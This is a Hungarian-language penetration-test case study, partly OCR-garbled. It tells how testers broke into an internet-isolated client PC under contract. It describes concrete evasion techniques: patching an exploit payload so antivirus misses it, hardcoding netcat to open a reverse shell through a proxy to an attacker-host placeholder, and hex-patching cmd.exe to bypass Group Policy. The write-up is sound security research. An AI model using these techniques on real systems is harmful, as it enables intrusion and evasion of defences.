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SILENT SIGNAL

Tanulmany egy kliens oldali tamadasrdl

1. Bevezeto

A Silent Signal szakért6i egy etikus hackelési projekt soran azzal a feladattal szembesiiltek, hogy
a megbizo6 irodai kornyezetében talalhato kliens szamitogépekhez kellett hozzaférést szereznitik.
A halozat topologiaja és egyéb megkotések miatt a feladat sikeres megoldasat kovetéen ugy érez-
tiik, érdemes kozzétenni valamit abbdl a tapasztalatbol, melyet a projekt soran gytjtottink, igy
jott 1étre ez a tanulmany. Természetesen a megbizashoz kapcsol6do szerzédésekkel 6sszhangban
e dokumentum nem tartalmazza a megbiz6 nevét, a bizalmas informaciok pedig eltavolitasra
illetve megvaltoztatasra kertltek.

2. Halozat

Az altalunk ,kezelésbe vett” szamitogép az Internettel nem allt kozvetlen kapcsolatban, az al-
talunk prébalt TCP, UDP és ICMP csomagok egyike sem jutott a céges halézaton kiviilre. Mar
ennek a ténynek a megismeréséhez is apro trikkot kellett alkalmazni, ugyanis csoporthazirend
hasznalataval tiltva volt a parancssor, a regisztracios adatbazis szerkeszté és még egy sor prog-
ram futasa. Fontos azonban megjegyezni, hogy ezek a letiltasok advisory jellegtliek, azaz a hat-
térben mindossze egy Registry bejegyzés keriil beallitasra, melyet az adott eszkozok kiolvasnak,
igy példaul attol hogy a regisztracios adatbazis szerkeszté nem érheté el, a felhasznalé nevében
futd folyamatok elérhetik a Registry-t.

Ezzel parhuzamot vonva a parancssor letiltasatol fiiggetleniil az automatikusan elindul,
amennyiben a felhasznalé olyan programot indit el, mely konzolt igényel - ilyenek példaul a
bat kiterjesztésd batch fajlok, melyek ugyan a DOS vilagaban élték fénykorukat, de a Windows
legendas visszafelé kompatibilitisa miatt ma is hasznalhatok. Igy elég tehat létrehozni barhol
egy megfelel6 kiterjesztéssel rendelkez6 fajlt jegyzettombbel, majd duplan kattintva ra a benne
felsorolt parancsok lefutnak egy parancssor ablakban.

Ilyen fajlokat hasznalva az els6 ,akadalyt” atlépve kideritettiik, hogy az Internet felé nem
tudunk ,csak ugy” csomagokat kiildeni. Ennek ellenére azonban a telepitett Internet Explorer
bongészé képes volt webes tartalmakat elérni — erre a legtobb szakmabeli reflexbdl ravagja,
hogy proxy szerver van a halézatban. Ennek cimét azonban ismét nem lehetett a trivialis uton
kideriteni, ugyanis a csoporthazirend tiltotta a bongészé beallitasainak megnyitasat is. Mivel
azonban mar képesek voltunk parancssort hasznalni, igy a netstat parancs hasznalataval egy
lassabb weboldal betoltése kozben meg tudtuk figyelni, mely IP cimmel kommunikal a bongész6
— ezzel meglett a proxy IP cime és portja.

3. Alkalmazasok

A felderités soran megallapitottuk, hogy a bongészébe épiil6 egyik pluginnek olyan verzidja fut
a gépen, mely kodfuttatast tesz lehet6vé, amennyiben a felhasznalé meglatogat egy specialisan
osszeallitott weboldalt. A sériilékenységhez mar Metasploit modul is elérhet$ volt, amely elin-
ditott egy webszervert, majd a racsatlakozo klienseknek a sebezhetéséget kihasznalo tartalmat
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szolgaltatott. A cég informatikai rendszerét azonban tobb rétegi antivirus szoftver is védte, mely
az eredeti, Metasploit altal el6allitott exploitot még a proxy-n valé athaladaskor felismerte.

Az exploit lényegi részét ad6 un. ,hasznos teherben” (payload) t6bb helyen is el6fordult az
exploit karaktersorozat, probaképpen a sed nevii UNIX eszkozzel a binaris tartalomban lecserél-
tik az Osszes el6fordulasat xxxxxxx-re, igy — korabbi tapasztalataink alapjan kialakitott el6zetes
vélekedésiink alapjan — a fajl struktdraja csekély eséllyel sériil és a hivatkozasok is érvényesek
maradnak.

Varakozasainknak megfeleléen az exploit valéban tovabbra is mtikodéképes maradt, (nézs-
pont kérdése szerint) elszomorit6 vagy boldogit6 médon még az antivirus szlirokon is athaladva
végrehajtodott a gépen. A VirusTotal szolgaltatas hasznalataval teszteltiik azon antivirus szoftve-
rek aranyat amelyek felismerték a tartalomban rejl6 kartékony kodot a ,komoly transzformaci6”
el6tt és utan — siralmas mddon a fenti hét, miikodést nem befolyasold bajt atirasa harmadara
csokkentette a sikeres detektalas aranyat.

4. Kapcsolat a kiilvilaggal

Eljutottunk tehat oda, hogy sikeriilt a felhasznalé bongészéjét hatalmunk ala keriteni, képesek
voltunk tetsz6leges kodot futtatni benne — amely egyel6re a szakmaban oly kedvelt szamologép
(calc.exe) elinditasa volt. Ez azonban kevésbé meggy6z6 egy IT vezeté — és még kevésbé egy
fels6vezet6 — szamara, féleg egy valamilyen szinten Internett6l szeparalt halézat esetén.

Mivel mindegyikiink rendelkezik OSCP vizsgaval, elsé otletiink a Metasploit keretrendszer-
hez kifejlesztett meterpreter lett volna, azonban ez a projekt idején még nem rendelkezett olyan
lehet6séggel, amellyel a kommunikacié proxy-n keresztiil megvaldsithato lett volna — arrél nem
is beszélve, hogy itt is felmeriilt volna az igény kisebb-nagyobb obfuszkaciora az antivirus szoft-
verek kikeriilésére.

Az altalunk vélasztott megoldas a netcat hasznalata lett, ehhez a joncraton.org weboldalrol
let6lthet6 Windows-os netcat portot alakitottuk at, mely az altalunk hasznalt Linux rendszereken
is lefordithato volt mingw32 hasznalataval. A forditas oka kett6s volt:

1. A netcat paraméterezése altalaban parancssori kapcsolok hasznalataval torténik, az exploit
azonban a payload szerepét betdlt6 egyetlen végrehajthato6 (exe) fajlt paraméterek nélkiil
inditotta el, igy a kodot gy modositottuk, hogy induléds utan ,bedrétozott”, fix paramé-
tereket hasznaljon. Ennek megoldasa a kovetkez6hoz hasonlé kodrészlettel tortént a C
nyelv(i programok belépési pontjaul szolgalé main figgvényben:

argc = b;

argv = malloc(sizeof (char*) * argc);
argv [0] = "nc";

argv[1] = "PROXY_CIME";

argv[2] = "PROXY_PORTJA";

argv[3] = "-e";

argv [4] = "SHELL";

2. A proxy hasznalata miatt a TCP kapcsolat felépitése és annak a shell program ki- és beme-
netével valo osszekapcsolasa kozott a proxy felé el kellett killdeni a megfelel6 HTTP kérést
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annak érdekében, hogy a shell mar a mi tavoli szerveriinkhoz kapcsolédjon. A connect
fuggvényre vald hivatkozast keresve doconnect figgvény megfelel6 pontjan a kovetkezs-
hoz hasonlé kddot szurtunk be:

char *xg2buf;

s2buf = "CONNECT tamadocim:tamadoport HTTP/1.1\r\nHost:
tamadocim\r\n\r\n";
send (nnetfd, s2buf, strlen(s2buf), 0);

Mivel ritkan szembesiilink azzal, hogy az ennyire elterjedt — igy a legtobb platformra binaris
formaban elérhet6 — netcatet forrasbol kell forditani, igy tesztfuttataskor deriilt ki az is, hogy a
netcat a GAPING_SECURITY_HOLE definialasa nélkil nem tartalmazza a programok futtatasa-
hoz hasznalt -e kapcsoldt, igy a teljes forditasi parancssor igy nézett ki:

$ /usr/bin/ib86-mingw32msvc-gcc netcat.c -1lws2_32 \
-0 nc.exe -DGAPING_SECURITY_HOLE

5. Ghost in the shell

Az igy létrehozott payload rendben kapcsolodott a szerveriinkhoz, azonban rogton ezutan meg
is szakitotta a kapcsolatot, mivel a parancssor — mint mar azt emlitettiik — csoporthazirend-
bél tiltasra keriilt. Lehetséges alternativa lehetett volna még a cmd.exe helyett a command.com
hasznalata, de ez mas problémakba ttkozott, ehelyett gy dontottiink, az eredeti parancssort
modositjuk ugy, hogy ne vegye figyelembe a csoporthazirend korlatozasait. Ehhez egy fajlmeg-
oszt6 oldalon keresztiil letoltottiik a rendszeren talalhaté cmd.exe fajlt, majd megkerestiik benne
azt a Unicode karaktersorozatot, mely az ellen6rzéshez hasznalt Registry kulcsot nevét (,Dis-
ableCMD?”) tartalmazza. Ezt az alabb lathaté médon ,DisableCQD”-ra médositottuk egy hexa
szerkeszt6 segitségével, igy a megfelel$ kulcs hianyaban hazirendtél fiiggetleniil elindult a pa-
rancssor.

08ff 1528 10d2 4ae9 5605 ffff 4400 6900 | ... J.v...D.1.
7300 6100 6200 6¢c00 6500 4300 5100 4400 | s.a.b.l.e.C.Q.D.

Ezutan mar csak egy feladat maradt hatra: a modositott shell gépre juttatasa az exploit ,hatan”.
Az exploit logikajanak bolygatasa helyett az egyszeribb, ,hackelés” megoldast valasztottuk, és
a mar amugy is altalunk forditott nc.exe fajlba helyeztiik el a shellt. Ehhez irtunk egy egyszerti
Python szkriptet, mely egy tetsz6leges binaris fajlt szabvany C fwrite hivasok sorozatava alakit
at, majd az igy kapott fajlt egybeforditottuk a netcat forrasaval, az ily médon ,felhizlalt” netcat
indulas el6tt egy, a felhasznal6 szamara is irhat6 ideiglenes konyvtarba el6szor kiirta a modo-
sitott cmd.exe-t, majd a proxyt kozvetlen kapcsolodasra ,kérve” 9sszekototte a tamado gépét a
shell programmal.
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